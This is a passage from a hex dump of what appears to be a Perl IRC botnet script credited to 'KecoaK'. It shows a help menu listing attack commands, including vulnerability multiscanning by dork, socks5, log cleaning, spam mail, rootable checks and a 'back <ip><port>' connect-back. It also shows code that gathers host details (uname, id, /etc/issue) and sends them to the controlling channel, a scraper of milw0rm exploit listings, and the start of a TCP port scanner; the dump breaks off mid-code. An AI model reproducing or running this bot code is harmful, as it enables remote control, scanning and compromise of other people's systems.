15488:	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	37	21	62	6F	74	20	03	31	34	et, "PRIVMSG $printl :7!bot 14
15520:	40	03	33	6D	69	6C	77	30	72	6D	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	7D	20	20	20	0D	0A	0D	0A	@3milw rm"); }
15552:	20	20	20	20	20	20	20	20	20	69	66	20	28	24	66	75	6E	63	61	72	67	20	3D	7E	20	2F	5E	68	61	63	6B	69	if ($funcarg =~ /^hacki
15584:	6E	67	2F	29	20	7B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	ng/) { sendraw($IRC
15616:	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	_cur_socket, "PRIVMSG $printl :
15648:	31	32	2C	31	5B	02	03	31	34	40	03	31	33	2D	2D	2D	2D	2D	5B	48	61	63	6B	69	6E	67	20	43	6F	6D	6D	61	12,1[14@13-----[Hacking Comma
15680:	6E	64	73	5D	2D	2D	2D	2D	2D	03	31	34	40	03	31	32	02	5D	20	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	nds]-----14@12] ");
15712:	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	sendraw($IRC_cur_socket, "PR
15744:	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	37	21	62	6F	74	20	03	31	34	40	03	33	6D	75	6C	74	IVMSG $printl :7!bot 14@3mult
15776:	69	73	63	61	6E	20	3C	76	75	6C	6E	3E	20	3C	64	6F	72	6B	3E	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	iscan <vuln> <dork>");
15808:	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	sendraw($IRC_cur_socket, "PR
15840:	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	37	21	62	6F	74	20	03	31	34	40	03	33	73	6F	63	6B	IVMSG $printl :7!bot 14@3sock
15872:	73	35	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	s5"); sendraw($IRC_
15904:	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	37	cur_socket, "PRIVMSG $printl :7
15936:	21	62	6F	74	20	03	31	34	40	03	33	70	6F	72	74	73	63	61	6E	20	3C	69	70	3E	22	29	3B	0D	0A	20	20	20	!bot 14@3portscan <ip>");
15968:	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	sendraw($IRC_cur_socket
16000:	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	37	21	62	6F	74	20	03	31	34	40	03	, "PRIVMSG $printl :7!bot 14@
16032:	33	6C	6F	67	63	6C	65	61	6E	65	72	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	3logcleaner"); send
16064:	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	raw($IRC_cur_socket, "PRIVMSG $p
16096:	72	69	6E	74	6C	20	3A	03	37	21	62	6F	74	20	03	31	34	40	03	33	73	65	6E	64	6D	61	69	6C	20	3C	73	75	rintl :7!bot 14@3sendmail <su
16128:	62	6A	65	63	74	3E	20	3C	73	65	6E	64	65	72	3E	20	3C	72	65	63	69	70	69	65	6E	74	3E	20	3C	6D	65	73	bject> <sender> <recipient> <mes
16160:	73	61	67	65	3E	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	sage>"); sendraw($I
16192:	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	RC_cur_socket, "PRIVMSG $printl
16224:	3A	03	37	21	62	6F	74	20	03	31	34	40	03	33	73	79	73	74	65	6D	22	29	3B	0D	0A	20	20	20	20	20	20	20	:7!bot 14@3system");
16256:	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	sendraw($IRC_cur_socket, "P
16288:	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	37	21	62	6F	74	20	03	31	34	40	03	33	63	6C	65	RIVMSG $printl :7!bot 14@3cle
16320:	61	72	74	6D	70	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	artmp"); sendraw($I
16352:	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	RC_cur_socket, "PRIVMSG $printl
16384:	3A	03	37	21	62	6F	74	20	03	31	34	40	03	33	72	6F	6F	74	61	62	6C	65	22	29	3B	0D	0A	20	20	20	20	20	:7!bot 14@3rootable");
16416:	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	sendraw($IRC_cur_socket,
16448:	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	37	21	62	6F	74	20	03	31	34	40	03	33	6E	"PRIVMSG $printl :7!bot 14@3n
16480:	6D	61	70	20	3C	69	70	3E	20	3C	62	65	67	69	6E	70	6F	72	74	3E	20	3C	65	6E	64	70	6F	72	74	3E	22	29	map <ip> <beginport> <endport>")
16512:	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	; sendraw($IRC_cur_
16544:	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	37	21	62	6F	74	socket, "PRIVMSG $printl :7!bot
16576:	20	03	31	34	40	03	33	62	61	63	6B	20	3C	69	70	3E	3C	70	6F	72	74	3E	22	29	3B	20	20	20	0D	0A	20	20	14@3back <ip><port>");
16608:	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	sendraw($IRC_cur_socke
16640:	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	37	21	62	6F	74	20	03	31	34	40	t, "PRIVMSG $printl :7!bot 14@
16672:	03	33	6C	69	6E	75	78	68	65	6C	70	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	3linuxhelp"); send
16704:	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	raw($IRC_cur_socket, "PRIVMSG $p
16736:	72	69	6E	74	6C	20	3A	03	37	21	62	6F	74	20	03	31	34	40	03	33	63	64	20	74	6D	70	3A	2E	20	7C	20	66	rintl :7!bot 14@3cd tmp:. \| f
16768:	6F	72	20	65	78	61	6D	70	6C	65	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	7D	20	20	20	20	20	20	20	or example"); }
16800:	20	20	20	20	20	20	20	20	20	20	20	0D	0A	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	###################
16832:	23	23	23	0D	0A	23	20	20	20	45	6E	64	20	6F	66	20	20	48	65	6C	70	20	20	20	20	20	23	0D	0A	23	23	23	### # End of Help # ###
16864:	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	0D	0A	23	23	23	23	23	23	23	23	23	23	23	################### ###########
16896:	23	23	23	23	23	23	23	23	23	23	23	0D	0A	23	20	20	20	20	20	43	6F	6D	6D	61	6E	64	73	20	20	20	20	20	########### # Commands
16928:	20	20	23	0D	0A	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	0D	0A	20	20	20	# ######################
16960:	20	20	20	20	20	20	69	66	20	28	24	66	75	6E	63	61	72	67	20	3D	7E	20	2F	5E	73	79	73	74	65	6D	2F	29	if ($funcarg =~ /^system/)
16992:	20	7B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	24	75	6E	61	6D	65	3D	60	75	6E	61	6D	65	20	2D	61	{ $uname=`uname -a
17024:	60	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	24	75	70	74	69	6D	65	3D	60	75	70	74	69	6D	65	60	`; $uptime=`uptime`
17056:	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	24	6F	77	6E	64	3D	60	70	77	64	60	3B	0D	0A	20	20	20	; $ownd=`pwd`;
17088:	20	20	20	20	20	20	20	20	20	24	64	69	73	74	72	6F	3D	60	63	61	74	20	2F	65	74	63	2F	69	73	73	75	65	$distro=`cat /etc/issue
17120:	60	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	24	69	64	3D	60	69	64	60	3B	0D	0A	20	20	20	20	20	`; $id=`id`;
17152:	20	20	20	20	20	20	20	24	75	6E	3D	60	75	6E	61	6D	65	20	2D	73	72	6F	60	3B	0D	0A	20	20	20	20	20	20	$un=`uname -sro`;
17184:	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	sendraw($IRC_cur_socket, "
17216:	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	34	7C	03	31	32	2E	3A	03	34	53	79	73	74	65	PRIVMSG $printl :4\|12.:4Syste
17248:	6D	20	49	6E	66	6F	03	31	32	3A	2E	03	34	7C	20	03	31	32	49	6E	66	6F	20	42	4F	54	20	3A	20	37	20	53	m Info12:.4\| 12Info BOT : 7 S
17280:	65	72	76	69	64	6F	72	20	3A	48	69	64	65	6E	20	3A	20	36	36	36	37	22	29	3B	0D	0A	20	20	20	20	20	20	ervidor :Hiden : 6667");
17312:	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	sendraw($IRC_cur_socket, "
17344:	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	34	7C	03	31	32	2E	3A	03	34	53	79	73	74	65	PRIVMSG $printl :4\|12.:4Syste
17376:	6D	20	49	6E	66	6F	03	31	32	3A	2E	03	34	7C	20	03	31	32	55	6E	61	6D	65	20	2D	61	20	20	20	20	20	3A	m Info12:.4\| 12Uname -a :
17408:	20	03	37	20	24	75	6E	61	6D	65	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	7 $uname"); sendr
17440:	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	aw($IRC_cur_socket, "PRIVMSG $pr
17472:	69	6E	74	6C	20	3A	03	34	7C	03	31	32	2E	3A	03	34	53	79	73	74	65	6D	20	49	6E	66	6F	03	31	32	3A	2E	intl :4\|12.:4System Info12:.
17504:	03	34	7C	20	03	31	32	55	70	74	69	6D	65	20	20	20	20	20	20	20	3A	20	03	37	20	24	75	70	74	69	6D	65	4\| 12Uptime : 7 $uptime
17536:	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	"); sendraw($IRC_cu
17568:	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	34	7C	03	r_socket, "PRIVMSG $printl :4\|
17600:	31	32	2E	3A	03	34	53	79	73	74	65	6D	20	49	6E	66	6F	03	31	32	3A	2E	03	34	7C	20	03	31	32	4F	77	6E	12.:4System Info12:.4\| 12Own
17632:	20	50	72	6F	73	73	65	73	20	20	3A	20	03	37	20	24	70	72	6F	63	65	73	73	6F	22	29	3B	0D	0A	20	20	20	Prosses : 7 $processo");
17664:	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	sendraw($IRC_cur_socket
17696:	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	34	7C	03	31	32	2E	3A	03	34	53	79	, "PRIVMSG $printl :4\|12.:4Sy
17728:	73	74	65	6D	20	49	6E	66	6F	03	31	32	3A	2E	03	34	7C	20	03	31	32	49	44	20	20	20	20	20	20	20	20	20	stem Info12:.4\| 12ID
17760:	20	20	3A	20	03	37	20	24	69	64	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	: 7 $id"); sendr
17792:	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	aw($IRC_cur_socket, "PRIVMSG $pr
17824:	69	6E	74	6C	20	3A	03	34	7C	03	31	32	2E	3A	03	34	53	79	73	74	65	6D	20	49	6E	66	6F	03	31	32	3A	2E	intl :4\|12.:4System Info12:.
17856:	03	34	7C	20	03	31	32	4F	77	6E	20	44	69	72	20	20	20	20	20	20	3A	20	03	37	20	24	6F	77	6E	64	22	29	4\| 12Own Dir : 7 $ownd")
17888:	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	; sendraw($IRC_cur_
17920:	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	34	7C	03	31	32	socket, "PRIVMSG $printl :4\|12
17952:	2E	3A	03	34	53	79	73	74	65	6D	20	49	6E	66	6F	03	31	32	3A	2E	03	34	7C	20	03	31	32	4F	53	20	20	20	.:4System Info12:.4\| 12OS
17984:	20	20	20	20	20	20	20	20	3A	20	03	37	20	24	64	69	73	74	72	6F	22	29	3B	0D	0A	20	20	20	20	20	20	20	: 7 $distro");
18016:	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	sendraw($IRC_cur_socket, "P
18048:	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	34	7C	03	31	32	2E	3A	03	34	53	79	73	74	65	6D	RIVMSG $printl :4\|12.:4System
18080:	20	49	6E	66	6F	03	31	32	3A	2E	03	34	7C	20	03	31	32	4F	77	6E	65	72	20	20	20	20	20	20	20	20	3A	20	Info12:.4\| 12Owner :
18112:	03	37	20	4B	65	63	6F	61	4B	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	7 KecoaK"); sendra
18144:	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	w($IRC_cur_socket, "PRIVMSG $pri
18176:	6E	74	6C	20	3A	03	34	7C	03	31	32	2E	3A	03	34	53	79	73	74	65	6D	20	49	6E	66	6F	03	31	32	3A	2E	03	ntl :4\|12.:4System Info12:.
18208:	34	7C	20	03	31	32	43	68	61	6E	6E	65	6C	20	20	20	20	20	20	3A	20	03	37	20	23	4B	65	63	6F	61	4B	22	4\| 12Channel : 7 #KecoaK"
18240:	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	7D	0D	0A	0D	0A	20	20	20	20	20	20	20	20	20	69	66	20	28	24	); } if ($
18272:	66	75	6E	63	61	72	67	20	3D	7E	20	2F	5E	6D	69	6C	77	30	72	6D	2F	29	20	7B	0D	0A	20	20	20	20	20	20	funcarg =~ /^milw rm/) {
18304:	20	20	20	20	20	20	6D	79	20	40	6C	74	74	3D	28	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	6D	my @ltt=(); m
18336:	79	20	40	62	75	67	3D	28	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	6D	79	20	24	78	3B	0D	0A	y @bug=(); my $x;
18368:	20	20	20	20	20	20	20	20	20	20	20	20	6D	79	20	24	70	61	67	65	3D	22	22	3B	0D	0A	20	20	20	20	20	20	my $page="";
18400:	20	20	20	20	20	20	6D	79	20	24	73	6F	63	6B	65	20	3D	20	49	4F	3A	3A	53	6F	63	6B	65	74	3A	3A	49	4E	my $socke = IO::Socket::IN
18432:	45	54	2D	3E	6E	65	77	28	50	65	65	72	41	64	64	72	3D	3E	22	6D	69	6C	77	30	72	6D	2E	63	6F	6D	22	2C	ET->new(PeerAddr=>"milw rm.com",
18464:	50	65	65	72	50	6F	72	74	3D	3E	22	38	30	22	2C	50	72	6F	74	6F	3D	3E	22	74	63	70	22	29	20	6F	72	20	PeerPort=>"8 ",Proto=>"tcp") or
18496:	72	65	74	75	72	6E	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	70	72	69	6E	74	20	24	73	6F	63	6B	return; print $sock
18528:	65	20	22	47	45	54	20	68	74	74	70	3A	2F	2F	6D	69	6C	77	30	72	6D	2E	63	6F	6D	2F	72	73	73	2E	70	68	e "GET http://milw rm.com/rss.ph
18560:	70	20	48	54	54	50	2F	31	2E	30	5C	72	5C	6E	48	6F	73	74	3A	20	6D	69	6C	77	30	72	6D	2E	63	6F	6D	5C	p HTTP/1. \r\nHost: milw rm.com\
18592:	72	5C	6E	41	63	63	65	70	74	3A	20	2A	2F	2A	5C	72	5C	6E	55	73	65	72	2D	41	67	65	6E	74	3A	20	4D	6F	r\nAccept: /\r\nUser-Agent: Mo
18624:	7A	69	6C	6C	61	2F	35	2E	30	5C	72	5C	6E	5C	72	5C	6E	22	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	zilla/5. \r\n\r\n";
18656:	20	6D	79	20	40	72	20	3D	20	3C	24	73	6F	63	6B	65	3E	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	my @r = <$socke>;
18688:	24	70	61	67	65	3D	22	40	72	22	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	63	6C	6F	73	65	28	24	$page="@r"; close($
18720:	73	6F	63	6B	65	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	77	68	69	6C	65	20	28	24	70	61	67	socke); while ($pag
18752:	65	20	3D	7E	20	20	6D	2F	3C	74	69	74	6C	65	3E	28	2E	2A	29	3C	2F	67	29	7B	0D	0A	20	20	20	20	20	20	e =~ m/<title>(.*)</g){
18784:	20	20	20	20	20	20	20	20	20	24	78	20	3D	20	24	31	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	20	$x = $1;
18816:	20	20	69	66	20	28	24	78	20	3D	7E	20	2F	5C	26	6C	74	5C	3B	2F	29	20	7B	0D	0A	20	20	20	20	20	20	20	if ($x =~ /\&lt\;/) {
18848:	20	20	20	20	20	20	20	20	20	20	20	24	78	20	3D	7E	20	73	2F	5C	26	6C	74	5C	3B	2F	3C	2F	67	3B	0D	0A	$x =~ s/\&lt\;/</g;
18880:	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	7D	20	20	20	20	20	20	20	20	20	0D	0A	20	20	20	20	20	}
18912:	20	20	20	20	20	20	20	20	20	20	69	66	20	28	24	78	20	21	7E	20	2F	6D	69	6C	77	30	72	6D	2F	29	20	7B	if ($x !~ /milw rm/) {
18944:	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	70	75	73	68	20	28	40	62	75	67	2C	24	push (@bug,$
18976:	78	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	7D	0D	0A	20	20	20	20	20	20	20	20	20	x); }
19008:	20	20	20	7D	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	77	68	69	6C	65	20	28	24	70	61	67	65	20	3D	} while ($page =
19040:	7E	20	20	6D	2F	3C	6C	69	6E	6B	2E	2A	65	78	70	6C	2E	2A	28	5B	30	2D	39	5D	2E	2E	2E	29	3C	2F	67	29	~ m/<link.expl.([ -9]...)</g)
19072:	20	7B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	69	66	20	28	24	31	20	21	7E	20	6D	2F	6D	{ if ($1 !~ m/m
19104:	69	6C	77	30	72	6D	2E	63	6F	6D	7C	65	78	70	6C	6F	69	74	73	7C	65	6E	2F	29	7B	0D	0A	20	20	20	20	20	ilw rm.com\|exploits\|en/){
19136:	20	20	20	20	20	20	20	20	20	20	20	20	20	70	75	73	68	20	28	40	6C	74	74	2C	22	68	74	74	70	3A	2F	2F	push (@ltt,"http://
19168:	77	77	77	2E	6D	69	6C	77	30	72	6D	2E	63	6F	6D	2F	65	78	70	6C	6F	69	74	73	2F	24	31	20	22	29	3B	0D	www.milw rm.com/exploits/$1 ");
19200:	0A	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	7D	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	7D	} }
19232:	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	sendraw($IRC_cur_s
19264:	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	34	7C	03	31	32	2E	ocket, "PRIVMSG $printl :4\|12.
19296:	3A	03	33	6D	69	6C	77	30	72	6D	03	31	32	3A	2E	03	34	7C	03	31	32	20	4C	61	74	65	73	74	20	65	78	70	:3milw rm12:.4\|12 Latest exp
19328:	6C	6F	69	74	73	20	3A	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	66	6F	72	65	61	63	68	20	loits :"); foreach
19360:	24	78	20	28	30	2E	2E	28	40	6C	74	74	20	2D	20	31	29	29	20	7B	0D	0A	20	20	20	20	20	20	20	20	20	20	$x ( ..(@ltt - 1)) {
19392:	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	sendraw($IRC_cur_socket, "P
19424:	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	34	7C	03	31	32	2E	3A	03	33	6D	69	6C	77	30	72	RIVMSG $printl :4\|12.:3milw r
19456:	6D	03	31	32	3A	2E	03	34	7C	03	31	32	20	20	24	62	75	67	5B	24	78	5D	20	2D	20	24	6C	74	74	5B	24	78	m12:.4\|12 $bug[$x] - $ltt[$x
19488:	5D	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	73	6C	65	65	70	20	31	3B	0D	0A	20	]"); sleep 1;
19520:	20	20	20	20	20	20	20	20	20	20	20	7D	0D	0A	20	20	20	20	20	20	20	20	20	7D	0D	0A	23	23	23	23	23	23	} } ######
19552:	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	0D	0A	23	20	20	20	20	20	20	50	6F	72	74	73	63	61	################ # Portsca
19584:	6E	20	20	20	20	20	20	23	0D	0A	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	n # ######################
19616:	0D	0A	20	20	20	20	20	20	20	20	20	69	66	20	28	24	66	75	6E	63	61	72	67	20	3D	7E	20	2F	5E	70	6F	72	if ($funcarg =~ /^por
19648:	74	73	63	61	6E	20	28	2E	2A	29	2F	29	20	7B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	6D	79	20	24	tscan (.*)/) { my $
19680:	68	6F	73	74	69	70	3D	22	24	31	22	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	40	70	6F	72	74	61	hostip="$1"; @porta
19712:	73	3D	28	22	31	35	22	2C	22	31	39	22	2C	22	39	38	22	2C	22	32	30	22	2C	22	32	31	22	2C	22	32	32	22	s=("15","19","98","2 ","21","22"
19744:	2C	22	32	33	22	2C	22	32	35	22	2C	22	33	37	22	2C	22	33	39	22	2C	22	34	32	22	2C	22	34	33	22	2C	22	,"23","25","37","39","42","43","
19776:	34	39	22	2C	22	35	33	22	2C	22	36	33	22	2C	22	36	39	22	2C	22	37	39	22	2C	22	38	30	22	2C	22	31	30	49","53","63","69","79","8 ","1
19808:	31	22	2C	22	31	30	36	22	2C	22	31	30	37	22	2C	22	31	30	39	22	2C	22	31	31	30	22	2C	22	31	31	31	22	1","1 6","1 7","1 9","11 ","111"
19840:	2C	22	31	31	33	22	2C	22	31	31	35	22	2C	22	31	31	37	22	2C	22	31	31	39	22	2C	22	31	33	35	22	2C	22	,"113","115","117","119","135","
19872:	31	33	37	22	2C	22	31	33	39	22	2C	22	31	34	33	22	2C	22	31	37	34	22	2C	22	31	39	34	22	2C	22	33	38	137","139","143","174","194","38
19904:	39	22	2C	22	33	38	39	22	2C	22	34	32	37	22	2C	22	34	34	33	22	2C	22	34	34	34	22	2C	22	34	34	35	22	9","389","427","443","444","445"
19936:	2C	22	34	36	34	22	2C	22	34	38	38	22	2C	22	35	31	32	22	2C	22	35	31	33	22	2C	22	35	31	34	22	2C	22	,"464","488","512","513","514","
19968:	35	32	30	22	2C	22	35	34	30	22	2C	22	35	34	36	22	2C	22	35	34	38	22	2C	22	35	36	35	22	2C	22	36	30	52 ","54 ","546","548","565","6
20000:	39	22	2C	22	36	33	31	22	2C	22	36	33	36	22	2C	22	36	39	34	22	2C	22	37	34	39	22	2C	22	37	35	30	22	9","631","636","694","749","75 "
20032:	2C	22	37	36	37	22	2C	22	37	37	34	22	2C	22	37	38	33	22	2C	22	38	30	38	22	2C	22	39	30	32	22	2C	22	,"767","774","783","8 8","9 2","
20064:	39	38	38	22	2C	22	39	39	33	22	2C	22	39	39	34	22	2C	22	39	39	35	22	2C	22	31	30	30	35	22	2C	22	31	988","993","994","995","1 5","1
20096:	30	32	35	22	2C	22	31	30	33	33	22	2C	22	31	30	36	36	22	2C	22	31	30	37	39	22	2C	22	31	30	38	30	22	25","1 33","1 66","1 79","1 8 "
20128:	2C	22	31	31	30	39	22	2C	22	31	34	33	33	22	2C	22	31	34	33	34	22	2C	22	31	35	31	32	22	2C	22	32	30	,"11 9","1433","1434","1512","2
20160:	34	39	22	2C	22	32	31	30	35	22	2C	22	32	34	33	32	22	2C	22	32	35	38	33	22	2C	22	33	31	32	38	22	2C	49","21 5","2432","2583","3128",
20192:	22	33	33	30	36	22	2C	22	34	33	32	31	22	2C	22	35	30	30	30	22	2C	22	35	32	32	32	22	2C	22	35	32	32	"33 6","4321","5 ","5222","522
20224:	33	22	2C	22	35	32	36	39	22	2C	22	35	35	35	35	22	2C	22	36	36	36	30	22	2C	22	36	36	36	31	22	2C	22	3","5269","5555","666 ","6661","
20256:	36	36	36	32	22	2C	22	36	36	36	33	22	2C	22	36	36	36	35	22	2C	22	36	36	36	36	22	2C	22	36	36	36	37	6662","6663","6665","6666","6667
20288:	22	2C	22	36	36	36	38	22	2C	22	36	36	36	39	22	2C	22	37	30	30	30	22	2C	22	37	30	30	31	22	2C	22	37	","6668","6669","7 ","7 1","7
20320:	37	34	31	22	2C	22	38	30	30	30	22	2C	22	38	30	31	38	22	2C	22	38	30	38	30	22	2C	22	38	32	30	30	22	741","8 ","8 18","8 8 ","82 "
20352:	2C	22	31	30	30	30	30	22	2C	22	31	39	31	35	30	22	2C	22	32	37	33	37	34	22	2C	22	33	31	33	31	30	22	,"1 ","1915 ","27374","3131 "
20384:	2C	22	33	33	31	33	33	22	2C	22	33	33	37	33	33	22	2C	22	35	35	35	35	35	22	29	3B	0D	0A	20	20	20	20	,"33133","33733","55555");
20416:	20	20	20	20	20	20	20	20	6D	79	20	28	40	61	62	65	72	74	61	2C	20	25	70	6F	72	74	61	5F	62	61	6E	6E	my (@aberta, %porta_bann
20448:	65	72	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	24	49	52	43	5F	63	er); sendraw($IRC_c
20480:	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	74	6C	20	3A	03	31	32	ur_socket, "PRIVMSG $printl :12
20512:	5B	02	03	34	40	03	33	50	6F	72	74	2D	53	63	61	6E	6E	65	72	02	03	31	32	5D	20	53	63	61	6E	6E	69	6E	[4@3Port-Scanner12] Scannin
20544:	67	20	66	6F	72	20	6F	70	65	6E	20	70	6F	72	74	73	20	6F	6E	20	22	2E	24	31	2E	22	20	03	31	32	20	73	g for open ports on ".$1." 12 s
20576:	74	61	72	74	65	64	20	2E	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	66	6F	72	65	61	63	68	tarted ."); foreach
20608:	20	6D	79	20	24	70	6F	72	74	61	20	28	40	70	6F	72	74	61	73	29	20	20	7B	0D	0A	20	20	20	20	20	20	20	my $porta (@portas) {
20640:	20	20	20	20	20	20	20	20	6D	79	20	24	73	63	61	6E	73	6F	63	6B	20	3D	20	49	4F	3A	3A	53	6F	63	6B	65	my $scansock = IO::Socke
20672:	74	3A	3A	49	4E	45	54	2D	3E	6E	65	77	28	50	65	65	72	41	64	64	72	20	3D	3E	20	24	68	6F	73	74	69	70	t::INET->new(PeerAddr => $hostip
20704:	2C	20	50	65	65	72	50	6F	72	74	20	3D	3E	20	24	70	6F	72	74	61	2C	20	50	72	6F	74	6F	20	3D	3E	0D	0A	, PeerPort => $porta, Proto =>
20736:	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	20	27	74	63	70	27	2C	20	54	69	6D	65	6F	75	74	'tcp', Timeout
